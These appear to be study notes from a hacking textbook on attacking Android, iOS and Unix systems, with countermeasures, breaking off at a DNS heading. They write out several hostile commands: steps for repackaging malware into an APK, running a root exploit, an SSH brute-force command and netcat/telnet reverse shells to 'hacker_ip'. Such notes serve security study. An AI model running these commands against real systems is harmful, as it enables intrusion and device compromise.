The simplest malware is a pure malicious program that tricks the user into believing it is another legitimate app by using the same icon as or name of the original application. Another type of malware is present inside the legitimate application, repacking the malicious code inside a modified version of the original apk. It's important to know some basics about the apk files: Android application (apk) are just PK files (like JAR/ZIP), which means they can be opened with any file compression tool such 7-zip. Once the apk is uncompressed, two important components are inside:

1. **Manifest.** An encoded XML file that defines essential information such as the permissions that the application requires.

2. **Classes.dex.** The Dalvik executable where the compiled code resides.

Android applications do not have a single entry point of execution. For example, one specific functionality is executed when the user opens the app by tapping the icon but other code is executed when the device is rebooted or network connectivity changes. Specific application components:

1. **Broadcast receiver** Enables applications to receive “intents” from the system. When a specific event occurs on the system (SMS received, for example), a message is broadcast to all the apps running on the system. If this component is defined in the manifest, the application can capture it and execute some specific functionality when this event occurs.

2. **Services.** Enables applications to execute code in the background, which means no graphical interface is shown to the user.

The way that most android malware works is to take a legitimate application, disassemble the dex code, and decode the manifest. Then you include the malicious code, assemble the dex, encode the manifest and sign the final apk file. Tool for performing this process: **apktool**. Steps for edit an existing apk:

1. Disassemble the selected apk with apktool: *apktool d Netflix.apk out.*

2. It will output some .smali files (assembler in Icelandic).

3. Modify the manifest, i.e. add broadcast receiver, and the .smali files with any editor.

4. *apktool b* in order to build the modifies apk.

5. Before signing the apk generate a private key with a corresponding digital certificate using OpenSSL.

6. Sign the application using SignApk.jar tool.

6.6 Hacking Other Androids

6.6.1 Remote Shell via WebKit

Floating point vulnerability in the WebKit open source web browser engine. The root cause of this vulnerability is improper handling of floating point data types in WebKit, which drives the default browsers on many mobile platforms (iOS, Android and so on). The exploit is basically a crafted HTML file that, when accessed through a web server using the default Android web browser, returns a remote shell. Successful exploitation requires a web server to host the HTML file (like Apache2). Countermeasures:

1. Get the latest version of Android available for your device.

2. Install antivirus software on the device to protect it against exploits and other malicious applications.

6.6.2 Rooting an Android: RageAgainstTheCage

To have full access, it is necessary to execute a root exploit (WebKit vulnerability is a User vulnerability). RATG (RageAgainstTheCage) allows to gain root privileges. Steps:

1. Download the binary (.bin) of RATG.

2. Upload the file to a writable and executable directory of the device. (adb push ratg.bin /data/local/tmp).

3. Give execution permission and run the binary. (chmod 777 ratg.bin; ./ratg.bin)

Countermeasures: Same as WebKit.

6.6.3 Data Stealing Vulnerability

This issue allows a malicious website to steal data and files stored in an SD card and in the device itself (assuming they can be accessed without root privileges). The exploit is basically a PHP file with embedded JavaScript. When the user visits the malicious web site and clicks the malicious link, the JavaScript payload is executed without prompting the user. This payload reads the content of the files specified in the exploit and uploads them to the remote server. Not totally stealth: when the payload is downloaded, a notification is generated, giving the user an opportunity to notice the suspicious behavior. Also, the attacker must know the name and the full path of the file is going to be extracted. Countermeasures: Same as WebKit +

1. Temporarily disable JavaScript in the default Android web browse.
2. Use another third-party browser like Firefox or Opera.
3. Unmount the sdcard partition.
4. Do not click suspicious ads/links.

6.6.4 Remote Shell with Zero Permissions

Another way to attack other Android devices is by defeating one of the most distinctive security measures of Android: the permission-based security model. This mechanism informs the user about the permissions that the application needs before it can be installed and executed (like sending SMS messages). Some actions without permissions:

- **REBOOT:** The permission for rebooting the device can only be granted to system applications or to applications that are signed with the same certificates as the system apps. Bypassing with Toast messages (are messages that appear in the device announcing something happening in the background, for example, an SMS being sent): generating an infinite number of toast messages in a loop will cause a DoS on the device, this will cause a reboot on the device, even without the REBOOT permission.
- **RECEIVE_BOOT_COMPLETE:** This permission allows the application to start automatically as soon as the boot process finishes and it should be used along with a receiver that listens for the intent BOOT_COMPLETED. Just defining the receiver is possible to automatically start the application.
- **INTERNET:** For sending data just start an activity that parses a weburl, this will open the default browser with the requested web url. For receiving data we need to define in the manifest a custom URI.

Countermeasures: Check the ratings and user reviews to try to identify suspicious applications.

6.6.5 Exploiting Capability Leak

Another method to bypass the permission-based security model is to take advantage of leaked permissions. Some applications expose, even popular ones and apps included in the stock software, several permissions to other applications leaving them open to being hijacked. "**capability leak" means that an application can access permission without requesting it in the Android manifest**. Two types of capability leak:

1. **Explicit.** Performed accessing public interfaces (i.e. activity, service, receiver ...) or services that have the permission that the untrusted application does not have.

2. **Implicit.** When the untrusted application acquired the same permissions of the privileged application because they share the same signing key.

Countermeasures: Same as Remote Shell With Zero Permissions + antimalware software.

6.6.6 URL-sourced Malware (Side-load Applications)

Android also allows the installation of applications through an alternative mechanism: the web browser. If the user opens a URL that is pointing to an Android application (apk files), the system downloads the file and ask the user if they want to install the app. This apk file can contain a Trojan file (i.e. with SMS permission can read the token sended by the bank to confirm a bank transaction). Countermeasures: Unselect "Unknown Sources" in phone settings.

6.6.7 Skype Data Exposure

Another method to hack Androids is to attack vulnerabilities present in applications that are already installed on the device. Skype Example: the vulnerability exposed private data to any application or to anyone because files that store the data did not have proper permissions and the information was not encrypted (it used sqlite3). Countermeasures:

1. Keep application updated.

2. Remove unused apps.

6.6.8 Carrier IQ

Is an application that runs with root privileges in the system partition and it is invisible for the user since it is not listed in the installed application and it does not have an icon in the menu. The purpose of the software is to help users achieve a better mobile experience collecting some sensitive data such as reception issues or battery usage. The collected data includes device identification (manufacturer and model), browser usage data, geographical location, keystroke events, applications installed in the device,and data related to SMS messages. Example of privacy issue with Carrier IQ: exact geographical position of a specific device can be known in certain situations (when a call is dropped). This information can be abused by other apps. Countermeasures:

1. Check if Carrier IQ is installed.

2. Remove Carrier IQ with root privilege.

6.6.9 HTC Logger

The application htcloggers.apk, was able to collect sensitive data including geographical loca- tion, user data such as email addresses, phone numbers, SMS data and system logs. HTC Logger provides the collected information to any application just by opening a local port, which means any application with the INTERNET permission can obtain sensitive information. Countermeasures: Get the patch from HTC.

6.6.10 Cracking the Google Wallet PIN

Google Wallet is one of many recent attempts to replace the use of traditional card-based payment instruments with a mobile payment system that works with near field communication (NFC) technology using a user-defined PIN. According to Google, all the information is stored encrypted in the Secure Element (SE), a computer chip inside the phone that is the main security component of NFC system payments. When a user wants to make payment, the authentication used by Google Wallet just a simple four-digit PIN that is used to grant access to all the sensitive data stored in the SE. It's possible to retrieve the PIN since the PIN is not stored inside the SE, but instead in a SQLite database that is only protected by the Android sandboxing protection mechanism that isolates access to data that belongs to one app from unauthorized access by other apps in the system. However, if the device is rooted, the protection no longer exists and user with such privileges has access to the database. Countermeasures:

1. Use the traditional Android screen lock mechanism.

2. Do not root your device if you are using it to make electronic payments.

3. Install antivirus software.

6.7 Android as a Portable Hacking Platform

Due to the open nature of the Android platform and its Linux kernel, several hacking tools can be found in the official Android market. Here are some of the most interesting ones:

- **Network Sniffer:** allows to use tcpdump specifying the parameters. It saves the pcap file in the sdcard.

- **Network Spoofer:** permits to perform ARP spoofing attack to redirect hosts in a Wi-Fi network to another website.

- **Connect Cat:** This simple tool connects to a host and sends network traffic(similar to Netcat).

- **Nmap for Android (unofficial):** Nmap for Android is a ported (and paid) graphical version of the popular Nmap tool used to discover hosts and services in a network.

6.8 Defending Your Android

- Keep your device physically secure. Avoiding physical control to the attacker.
- Lock your device. Pin or pattern.
- Avoid installing applications from unknown sources/developers. May contain malware.
- Install security software. For finding malware and to protect and backup stored data.
- Enable full internal storage encryption.
- Update to the latest Android version.

6.9 How Secure Is iOS?

When the iPhone was first released, Apple indicated publicly that it did not intend to allow third-party apps to run on the device. In short order, hackers began to find ways to root or"jailbreak" devices and to install third-party software. In 2008 Apple released the App Store that gave users the ability to purchase and install third-party apps. Early iOS misses security protections:

1. All process ran with root privileges.
2. Processes were not sanboxed.
3. No code signing.
4. No ASLR.

In short order, third-party apps were executed under a less privileged user account named "mobile.", sandboxing, signing and ASLR was also added. iOS has made great gains in terms of its security model.

6.10 Jailbreaking iOS (Unleash the Fury!)

The process of taking full control of an iOS-based device (allow for using third-party apps but expose yourself to a variety of attack vectors). The end result of a successful jailbreak is that an iPhone can be tweaked with custom themes or utility apps, or extensions to apps can be installed, or the device can be configured to allow remote access via SSH or VNC, or other arbitrary software can be installed or even compiled directly on the device. Jailbroken phones may also lose some functionality, as vendors have been known to include checks into their apps that cause errors to be reported or for an app to exit on startup (i.e. iBook). Another important aspect of jailbreaking that should be considered is the fact that as part of the process, code signature validation is disabled. Pros: unlock full potential, cons: expose your self to a variety of attack vectors that could compromise the device.

6.10.1 Boot-based Jailbreak

1. Obtain firmware image that corresponds to the specific iOS version and specific device model.

2. Obtain the jailbreak software to be used like redsn0w.

3. Connect the device via USB and launch the jailbreak application.

4. In the app select the previous downloaded firmware.

5. Switch the device into Device Firmware Update mode.

6. Once the device switches into DFU mode the jailbreak software automatically begins the jailbreak process. Upon reboot, the device should come back up in the same way as a normal iPhone, but with an exciting new addition to the ”desktop” - Cydia.

6.10.2 Remote Jailbreak

In the case of a remote jailbreak, such as that provided by jailbreakme.com, the process is as simple as loading a specially crafted PDF into the iPhone’s MobileSafari web browser. The specially crafted PDF takes care of exploiting and taking control of the browser, then the operating system, and ultimately for providing the user with unrestricted access to the device. There are a number of known Safari bugs, and it’s entirely possible that other vulnerabilities could be combined to provide a remote jailbreak (or exploitation) capability.

6.11 Hacking Other iPhones: Fury Unleashed!

Instead of focusing on how to hack into our own iPhone, let’s look into how we might go about hacking into someone else’s device. In this section, we’ll take a look at a variety of incidents, demos, and issues related to gaining access to iOS-based devices. The practical options left to an attacker generally come down to clientside attacks. Client-side attacks have been found time and again in apps bundled with iOS, in particular, in MobileSafari.

6.11.1 The JailbreakMe3.0 Vulnerabilities

We've already seen some of the most popular iOS attacks to date: the vulnerabilities exploited to jailbreak iPhones. There is nothing to stop enterprising attackers from exploiting similar vulnerabilities remotely, for example, by crafting a malicious document that contains an exploit capable of taking control of the application into which it is loaded. The document can then be distributed to users via a website, email, chat, or some other frequently used medium. The foundation for such an attack is best demonstrated by the "JailbreakMe 3.0" (or JBME 3.0). We learned that two vulnerabilities are exploited by JBME3.0:

- Font handling PDF bug.
- Kernel-level vulnerability.

So the initial vector for exploitation is loading of a specially crafted PDF into MobileSafari. At this point, a vulnerability is triggered in code responsible for parsing the document, after which the exploit logic contained within the corrupted PDF is able to take control of the app. Countermeasures:

- Do not perform jailbreak.
- Keep the system up-to-date.

6.11.2 iKee Attacks!

Ikee is a work that spreads through jailbroken iPhones by using the default SSH password. Of course, the first thing to do is launch Cydia and then install OpenSSH. Why have a jailbroken phone if you can't get to the command line, right? From this point, you continue to install your favorite tools and apps: vim, gcc, gdb, Nmap, etc. You set your phone down to watch for a bit, forgetting to change the default password for the root account.

- iKee.A took a few basic actions upon login, such as disabling the SSH server that was used to gain access,changing the wallpaper for the phone,as well as making a local copy of the worm binary.
- iKee.B introduced botnet-like functionality, including the ability for infected devices to be remotely controlled via a command and control channel.

Countermeasures:

- Don't jailbreak your iPhone.
- If you must, change the default credentials for a jailbroken device immediately after installation of SSH and only while connected to a trusted network.
- Enable SSH only when needed.

6.11.3 The FOCUS 11 Man-in-the-Middle Attack

The attack performed involved setting up a MacBook Pro laptop with two wireless network interfaces and then configuring one of the interfaces to serve as a malicious wireless access point (**WAP**). The WAP was given an SSID very similar to the SSID for the conference's legitimate WAP. This was done to show that users could easily be tricked into connecting to the malicious WAP. The laptop was then configured to route all traffic from the malicious WAP through to the legitimate WAP. Using an exploit of a CVE it was also possible to permorm **MITM of SSL connections**. When Gmail was loaded into the iPad's browser, an iframe containing a link to a PDF capable of silently rooting the device was also present (**JBME 3.0**). Countermeasures:

1. Update device for patching JBME vulnerability.
2. Configure Device to ask to join networks.
3. Don't connect to unknown wireless network.

6.11.4 Malicious Apps: Handy Light, InstaStock

iOS added support for the installation of third-party apps shortly after introducing iPhone. Apple chose to implement this as a strictly controlled ecosystem, whereby all apps are required to be signed by Apple and can only be distributed and downloaded from the official App Store. Handy Light and InstaStock are two example of apps that passes the Apple control but contains hidden functionalities:

- HandyLight: This app appeared on the surface to be a simple flashlight app but it included an hidden tethering functionality. Apple removed it from the marketplace.
- InstaStock: allowed users to track stock tickers in real time and was reportedly downloaded by several hundred users. Hidden within InstaStock was logic designed to exploit an "0-day" vulnerability in iOS that allowed the app to load and execute unsigned code.

Light and InstaStock apps provide us with proof that mounting an attack via the App Store is, while not easy, also not impossible. Countermeasures: Apps should be installed only when absolutely necessary and only from trustworthy vendors.

6.11.5 Vulnerable Apps: Bundled and Third Party

Over the years, a number of app vulnerabilities affecting iOS have been discovered and reported.

- Citi Mobile App: the app stored sensitive banking-related information locally on the device. If the device were to be remotely compromised, lost, or stolen, then the sensitive information could be extracted from the device.

- Paypal: not validate X.509 certificate received for SSL connections. This weakness allowed for an attacker with local network access to man-in-the-middle users in order to obtain or modify traffic sent to or from the app.

- Skype: cross-site scripting vulnerability. This vulnerability made it possible for an attacker to access the file system of Skype app users by embedding JavaScript code into the"FullName"field of messages sent to users. Upon receipt of a message, the embedded JavaScript would be executed,and when combined with an issue related to handling URI schemes, would allow for an attacker to grab files, such as the contacts database,and upload them to a remote system.

Countermeasures:

1. Keep your device updated with the latest version of iOS.

2. Keep apps updated to thei latest versions.

6.11.6 Physical Access

Take, for example, the demonstration produced by there searchers at the Fraunhofer Institute for Secure Information Technology (SIT). Staff from this organization published a paper in February 2011 outlining the steps required to gain access to sensitive passwords stored on an iPhone. The process from end-to-end takes about six minutes and involves using a boot-based jailbreak to take control of a device in order to gain access to the file system, followed by installation of an SSH server. Once access is gained via SSH, a script is uploaded that, using only values obtained from the device, can be executed in order to dump passwords stored in the device's keychain. Countermeasures:

- Ensure that all sensitive data on the device has been encrypted.

7 Chapter 5: Hacking Unix

7.1 A Brief Review

Previous chapters:

- Port scanners like nmap help identifting open TCP/UDP ports.
- rpcinfo and showmount allows us to enumerate RPC services and NFS mount points..
- ncat to grab banners (application version details).

This chapter will focus on exploitation, before any type of exploitation it is important to perform footprinting and network reconnaissance. With these information we can make educated guesse about the potential vulnerabilities that may be present on the target system. This process is known as *vulnerability mapping.*

7.2 Vulnerability Mapping

Vulnerability mapping is the process of mapping specific security attributes of a system to an associated vulnerability or potential vulnerability. It is necessary for attackers to map attributes such as listening services, specific version numbers of running servers (for example, Apache 2.2.22 being used for HTTP and sendmail 8.14.5 being used for SMTP), system architecture, and username information to potential security holes. Attackers can use several methods to accomplish this task:

- Manually map with publicly available sources of vulnerabilitry information such as Bugtraq, Open Source Vulnerability Database, CVE DB and vendor security alerts.
- Use of public exploit code or write their own code.
- Use of automated tools such as Nessus to identify vulnerability.

Key points vulnerability mapping:

1. Network reconnaissance against the target system.
2. Map attributes such as OS, architecture and specific version of listening services to known vuln and exploits.
3. Perform target acquisition by identifying and selcting key systems,
4. Enumerate and prioritize potential points of entry.

7.3 Remote Access vs. Local Access

Remote Access: gain access via the network or other communication channel. Local Access: having an actual command shell or login to the system. Local Access attacks are also referred to as *privilege escalation attacks*. Attackers follow a logical progression, remotely exploiting a vulnerability in a listening service and then gaining local shell access.

7.4 Remote Access

Four primary methods are used to remotely circumvent the security of a UNIX system:

- **Exploit a listening service.** It is imperative to remember that a service must be listening in order for an attacker to gain access. If a service is not listening, it cannot be broken into remotely. Example UNIX service: BIND. Is there a listenting service involved?

- **Route through a UNIX system.** In many instances, attackers circumvent UNIX firewalls by source-routing packets through the firewall to internal systems. This feat is possible because the UNIX kernel had IP forwarding enabled when the firewall application should have been performing this function. In most of these cases, the attackers never actually broke into the firewall; they simply used it as a router. Does the system perform routing?

- **User-initiated remote execution.** What if you surf to http://evilsite.evil.com, and your web browser executes malicious code that connects back to the evil site? This may allow Evilhacker.org to access your system. Think of the implications of this if you were logged in with root privileges while web surfing. Did a user software execute commands that put in risk the system security?

- **Promiscuous-mode attacks.** Using a promiscuous-mode attack,an attacker can send in a carefully crafted packet that turns your network sniffer (i.e. tcpdump) into your worst security nightmare. Is my interface in promiscuous mode and capturing potentially hostile traffic?

7.4.1 Brute-force Attacks

A brute-force attack is nothing more than guessing a user ID/password combination on a service that attempts to authenticate the user before access is granted. Most common services that can be brute-forced:

- Telnet, SSH.

- HTTP/HTTPS.

- Postgres, MySQL and Oracle.
- FTP.
- ”r” commands (RLOGIN, RSH ...).
- Simple Network Management Protocol (SNMP) community names.
- LDAPv2 and LDAPv2 - Lightweight Directory Access Protocol.
- POP (post office protocolo) and IMAP (Internet Message Access Protocol).

Network discovery and enumeration helps us identifying potential system user IDS. Toolds: *finger, ruser and sendmail* used to identify user accounts on a target system. Many user accounts have either a weak password or no password at all or username and password are the same this happens because people don’t know how to choose strong passwords or are not forced to do so. Automated tools for bruteforcing: **THC Hydra** (supports many protocols) and **Medusa**.
hydra -L users.txt -P passwords.txt 192.168.1.113 ssh
Countermeasures: use of strong password or OTP. Change UNIX password policy through /etc/default/passwd: **PASSLENGTH:** minimum password length, **HISTORY:** number of passwords stored in history (user not allowed to reuse), **MINLOWER/MINUPPER**: minimum number of lower/uppercase characters. Good password management procedures:

1. Force password change every 30 days for privileged accounts and every 60 days for normal users.
2. Implement a minimum password length of eight characters consisting of at least one alpha character, one numeric character, and one non alpha numeric character.
3. Log multiple authentication failures and disconnect clients after three invalid login attempts.
4. When possible: OTP and account lockout.

7.5 Data-drive attacks

From the programmer’s perspective his program received unexpected data that caused undesirable results. Data-driven attacks are most commonly categorized as either buffer overflow attacks or input validation attacks.

7.6 Buffer Overflow Attacks

A buffer overflow condition occurs when a user or process attempts to place more data into a buffer (or fixed array) than was previously allocated. This type of behavior is associated with specific C functions such as *strcpy(), strcat()*,and *sprintf()*,among others. Example sendemail:

1. We have a fixed-length buffer of 128 bytes. Let's assume this buffer defines the amount of data that can be stored as input to the VRFY command of sendmail.
2. sendmail is running as root.
3. The attacker send specific code that overflows the buffer (exceed the 128 bytes condition) and executes the command */bin/sh*.
4. When the VRFY buffer is overrun, attackers can set the return address of the function, which allows them to alter the flow of the program.
5. Instead of the function returning to its proper memory location, the attackers execute the nefarious assembly code that was sent as part of the buffer overflow data, which will run /bin/sh with root privileges.

It is imperative to remember that the assembly code is architecture and operating system dependent. Countermeasures:

- **Secure Coding Practices.** Secure Programming for Linux And UNIX guide.
- **Enable Stack Smashing Protector (SSP)** provided by gcc compiler. It uses canary to identify stack overflows, it help minimize the impact of buffer overflow.
- **Validate all user-modifiable input**
- **Use more secure routines:** *fgets(), strncpy(), strncat*.
- **Reduce amount of code that runs with root privileges**.
- **Apply vendor's security patches**.
- **Test and Audit Each Program.** OpenBSD project for testing and auditing UNIX code.
- **Disable Unused or Dangerous Services, use of TCP Wreppers (tcpd).** TCP Wrappers allow to use ACL on specific services and provides log functionalities. If TCP wrapper is not available use kernel-level packet filtering (*iptables*).
- **Stack Execution Protection.** Stack execution protection is by no means a silver bullet; nevertheless, it should still be included as part of a larger defense-in-depth strategy.

- **ASLR.** If a process's address space is randomized each time a process is created, it will be difficult for an attacker to predetermine key addresses. Instead, the attacker will be forced to guess or brute-force key memory addresses. Depending on the size of the key space and level of entropy, this may be infeasible. Moreover, invalid address attempts will most likely crash the targeted program.

7.7 Return-to-libc Attacks

Return-to-libc is a way of exploiting a buffer overflow on a UNIX system that has stack execution protection enabled. When data execution protection is enabled, a standard buffer overflow attack will not work because injection of arbitrary code into a process's address space is prohibited. Unlike a traditional buffer overflow attack, in a return-to-libc attack, **an attacker returns into the standard C library, libc**, rather than returning to arbitrary code placed on the stack. In this way, **an attacker is able to bypass stack execution prevention controls completely by calling existing code that does not reside on the stack**. Like a standard buffer overflow attack, a return-to-libc attack modifies the return address to point at a new location that the attacker controls to subvert the program's control flow, but unlike a standard buffer overflow, a return-to-libc attack only leverages existing executable code from the running process. Countermeasures: **removal of possible gadget[20] sources during compilation, detection of memory violations and the detection of function stream with frequest returns.**

7.8 Format String Attacks

A format string vulnerability arises in subtle programming errors in the formatted output family of functions, which includes printf() and sprintf(). An attacker can take advantage of this by passing carefully crafted text strings containing formatting directives, which can cause the target computer to execute arbitrary commands. This can lead to serious security risks if the targeted vulnerable application is running with root privileges. Example directive: the %i directive allows to format an integer variable to a readable decimal value.
printf(%i, val);
Security problems arise when the number of directives does not match the number of supplied arguments. It is important to note that **each supplied argument that will be formatted is stored on the stack**. If more directives than supplied arguments are present, then all subsequent data stored on the stack will be used as the supplied arguments. Therefore,a mismatch in directives and supplied arguments will lead to erroneous output. Another problem occurs when a lazy programmer uses

[20] In ROP (Returned Oriented programming) gadgets are small computations chained togheter often using no more than two to three instructions at a time.

a user-supplied string as the format string itself i.e.
printf(buf)
userinput: ./code DDDD%x%x
he will be able to execute code, read stack and cause segmentation fault (in this case he will read 44444444 that is the string DDDD loaded in memory). Countermeasures: many format string attacks use the same principle as buffer overflow attacks, which are related to overwriting the function's return call. Same as buffer overflow. GCC compiler can raise alarms when dangerous implementation of printf() occurs. Finally: secure programming practices and code reviews.

7.9 Input Validation Attacks

An input validation attack occurs under the following conditions:

- A program fails to recognize syntactically incorrect input.

- A module accepts extraneous input.

- A module fails to handle missing input fields.

- A field-value correlation error occurs. The Solaris authentication bypass vulnerability is the result of improper sanitation of input. The telnet daemon does not properly parse input before passing it to the login program, the login program makes improper assumptions about the data being passed to it. To gain remote access the attacker only needs a valid username that is allowed to access the system via telnet. Similar issue on AIX and other UNIX systems with rlogin service: attacker authenticate to the vulnerable server without being prompted fora password.
  Countermeasures:

- Secure coding practices.

- Black list validation: compares user input to a predefined malicious dataset, if the user input matches any element in the black list, then the input is rejected otherwise accepted. Strongly discouraged.

- White list validation recommended. Only explicitly defined and approved input is allowed and all other input is rejected.

7.10 Integer Overflow and Integer Sign Attacks

OpenSSH, Apache, Snort and Samba were vulnerable to integer overflows that led to exploitable buffer overflows. Within the C programming language, an integer is a data type that can hold numeric values. Integers can only hold whole real numbers;

therefore, integers do not support fractions. For signed integers: If the MSB[21] is 1, the stored value is negative; if it is 0, the value is positive. Integers that are unsigned do not utilize this bit, so all unsigned integers are positive. Integer overflows exist because the values that can be stored within the numeric data type are limited by the size of the data type itself. For example, a 16-bit data type can only store a maximum value of 32'767. If you assign the 16-bit signed data type a value of 60'000 an integer overflow would occur, and the value actually stored within the variable would be –5536. Each **compiler** vendor can handle an integer overflow however they choose. They could ignore it, attempt to correct the situation, or abort the program. Most compilers seem to ignore the error. Even though compilers ignore the error, they still follow the ISO C99 standard, which states that a compiler should use modulo-arithmetic when placing a large value into a smaller datatype. Modulo-arithmetic is performed on the value before it is placed into the smaller data type to ensure the data fits. Modulo-arithmetic formula:
stored_value = value % (max_value_for_datatype + 1).
Modulo-arithmetic is a fancy way of saying the MSBs are discarded up to the size of the data type and the least significant bits are stored. How attacker use this to her advantage? The programmer has to dynamically copy data used for variable-length user-supplied data. The user supplied data, however,could be very large. If the programmer attempts to assign the length of the data to a data type that is too small, an overflow occurs.

Signed attacks are not too different from the preceding example. *Signedness* bugs occur when an unsigned integer is assigned to a signed integer, or vice versa. Because the computer doesn't know the difference between a signed and unsigned byte(to the computer they are all 8 bits in length), it is up to the compiler to make sure code is generated that understands when a variable is signed or unsigned. With *memcpy* the length parameter requires an unsigned integer so if a negative one is passed it will be promoted to an unsigned integer, it will loose its negative sign becoming a very large positive number. This will cause mempy to read past the bounds of buf. Integer overflows generally becom eexploitable when the overflowed integer is used as an argument to a function such as strncat(), which triggers a buffer overflow.

Countermeasures:

- Same as buffer overflow.
- Code review, especially in signed and unsigned comparison or arithmetic routines, in loop control (for) and in variables used to hold lengths of user-inputted data.

[21] Most Significant Bit.

7.11 Dangling Pointer Attacks

A dangling pointer occurs when a pointer points to an invalid memory address. Dangling pointers are a common programming mistake that occurs in languages such as C and C++ where memory management is left to the developer. The program's behavior depends on the state of the memory the pointer references:

- If the memory has already been reused by the time we access it again, then the memory will contain garbage and the dangling pointer will cause a crash;
- If the memory contains malicious code supplied by the user, the dangling pointer can be exploited.

Dangling pointers are typically created in one of two ways:

1. An object is freed (free(cp)) but the reference to the object is not reassigned and is later used. To avoid dangling pointer, in this case, after the free command the pointer should be set to NULL.
2. A local object is popped from the stack when the function returns but a reference to the stack allocated object is still maintained. The mistake, in this case, can be corrected by ensuring the local variable is persistent even after the function returns. This can be accomplished by using a static variable or allocating memory via malloc.

Countermeasures:

- Applying secure coding standards.
- Code reviews should be conducted.
- Smart pointers with garbage collection and bounds checking.

7.12 I Want My Shell: Reverse Telnet and Back Channels

Back channel is a mechanism where the communication channel originates from the target system rather than from the attacking system. In a scenario where all ports except 80 and 443 are blocked by the firewall, the attackers must originate a session from the vulnerable UNIX server to their system by creating a back channel. Methods:

- *Reverse Telnet:* the telnet connection originates from the system to which the attackers are attempting to gain access instead of originating from the attackers' system. We must enable nc listeners on our own system that will

- accept our reverse telnet connections. (Two terminals: nc -l -n -v -p 80 / 25). awstat exploit allows us to run telnet on vulnerable server: /bin/telnet hacker_ip 80 — /bin/bash — /bin/telnet hacker_ip 25.
  Port 80 receive attacker commands, commands are piped to /bin/sh and the result of the commands are piped to port 25.

- *nc:* use of nc instead of telnet if present on the target system. On attacker host:
  nc -l -n -v -p 80;
  on remote system:
  nc -e /bin/sh hacker_ip 80.

Back channel countermeasures:

- Keep your system secure so a back-channel cannot be executed.

- Disabling unnecessary services and apply vendor patches.

7.13 FTP

Many FTP servers allow **anonymous access**, enabling any user to log into the FTP server without authentication. On occasion an anonymous FTP server will allow the user to traverse the entire directory structure. Thus, attackers can begin to pull down sensitive configuration files such as /etc/passwd. To compound this situation, many FTP servers have **world-writable directories**. A world-writable directory combined with anonymous access is a security incident waiting to happen. One of the more recent FTP vulnerabilities has been discovered in FreeBSD's ftpd and ProFTPD daemons that allows an attacker to create a back channel. First we need to create a nc listener on port 443 and then executing the perl script we will receive a reverse shell.
FTP Countermeasures:

- Disable anonymous user if possible.

- Apply latest vendor patches.

- Eliminate/reduce world writable directory.

7.14 Sendmail

Sendmail is a mail transfer agent (MTA) that is used on many UNIX systems. Recall: via sendmail is possible to perform user enumeration using VRFY and EXPN commands. In the past vulnerabilities like buffer overflow and input validation attacks have been identified on sendmail.
Countermeasures:

- Disable sendmail if you are not using it to receive mail over a network.

- Use latest version with all relevant security patches.
- Remove decode aliases from the alias file.
- Investigate every alias that points to a program rather than to a user account.
- Ensure file permissions of the aliases and other related files do not allow users to make changes.
- Consider using more secure MTA (qmail or postfix).

7.15 Remote Procedure Call Services

Remote Procedure Call(RPC) is a mechanism that allows a program running on one computer to execute code on a remote system. To contact an RPC service, you must query the port mapper (via rpcinfo) to determine on which port the required RPC service is listening. Numerous stock versions of UNIX have many RPC services enabled upon bootup and some of them are extremely complex and run with root privileges. Therefore, a successful buffer overflow or input validation attack will lead to direct root access. Example of vulnerable RPC services:

- *rpc.ttdbserverd* and *rpc.cmsd* service related to CDE[22]. These run with root privileges and suffers buffer overflow attacks, so the attacker is able to retrieve a reverse shell.
- *rpc.statd* and *mountd* which are active when NFS is enabled.

Countermeasures:

- Disable any RPC service that is not absolutely necessary.
- If an RPC service is critical, consider implementing an access control device.
- If supported use Secure RPC (auth based on pk cryptography).
- Ensure all the latest vendor patches have been applied.

7.16 NFS

NFS allows transparent access to the files and directories of remote systems as if they were stored locally. The potential for abusing NFS is high and is one of the more common UNIX attacks.

- **Many buffer overflow conditions related to mountd**, the NFS server, have been discovered.

[22] Common Desktop Environment

- **NFS relies on RPC services** and can be **easily fooled** into **allowing attackers to mount a remote file system**.

Most of the security provided by NFS relates to a data object known as a *file handle.* The **file handle is a token used to uniquely identify each file and directory on the remote server**.

- If a file handle can be sniffed or guessed, remote attackers could easily access that file on the remote system.
- The most common type of NFS vulnerability relates to a **misconfiguration that exports the file system to everyone**. That is, **any remote user can mount the file system without authentication**. Caused by laziness or ignorance on the part of the administrator.

To determine if a system is currently running NFS it first needs to run ”rpcinfo -p user” to perform portmapper. If mountd and nfs are present in the output of the command we can run ”showmount -e user” to cgeck which file system are exported. On the exported folder the attacker could run ”**mount** ⟨ dir ⟩” to gain access to that file system. Alternative to mount: **nfsshell** which operates like an FTP client and allows easy manipulation of a remote file system.
Countermeasures:

- If NFS is not required, NFS and related services (for example, mountd, statd,and lockd) should be disabled.
- Implement client and user access controls to allow only authorized users to access required files.
- In /etc/exports or /etc/dfs/dfstab, or similar files, control what file systems are exported and what specific options can be enabled.
- Never include the server’s local IP address, or localhost, in the list of systems allowed to mount the file system.
- Apply all vendor-related patches.

7.17 X Insecurities

The X Window System provides a wealth of features that allow many programs to share a single graphical display. The major problem with X is that its security model is an all-or-nothing approach. X clients can capture the keystrokes of the console user, kill windows, capture windows for display else where,and even remap the keyboard to issue nefarious commands no matter what the user types.

- The simplest and most popular form of X access control is **xhost authentication**. This mechanism provides access control by IP address and is the weakest form of X authentication. For convenience, a system administrator will issue "**xhost** +", **allowing unauthenticated access to the X server by any local or remote user** (+ is a wildcard for any IP address).
- **Many PC-based X servers default to xhost +**.

One of the best programs to identify an X server with xhost + enabled is **xscan**, which scans an entire subnet looking for an open X server and logs all keystrokes to a log file ("xscan user") A quick "tail" of the log file reveals what the user is typing in real time. Attackers can also easily view specific windows running on the target systems:

1. Attackers must first determine the window's hex ID by using the **xlswins** command.
2. XWatchWin to display the windows: "**xwatchwin** user -w hex".

Attacker is also able to capture a screen of the console user's sessione via **xwd** and can also display the screen capture using **xwud**.
Countermeasures:

1. Don't use "xhost +".
2. When in doubt use "**xhost -**" that will not terminate any existing connections but only prohibit future connections.
3. If you must allow remote access to your X server, specify each server by IP address.
4. Use advanced auth mechanism such as MIT-KERBEROS-5, MIT-MAGIC-COOKIE-1.
5. If xterm is used enable secure keyboard option. Doing this prohibits any other process from intercepting your keystrokes.
6. Also consider firewalling ports 6000–6063 to prohibit unauthorized users from connecting to your Xserver ports.
7. consider using SSH and its tunneling functionality for enhanced security during your Xsessions.

7.18 Domain Name System (DNS)

DNS is one of the few services that is almost always required and running on an organization's Internet perimeter network. A flaw in BIND[23] will almost surely result in a remote compromise.

[23] Barkeley Internet Name Domain.

7.18.1 DNS Cache Poisoning

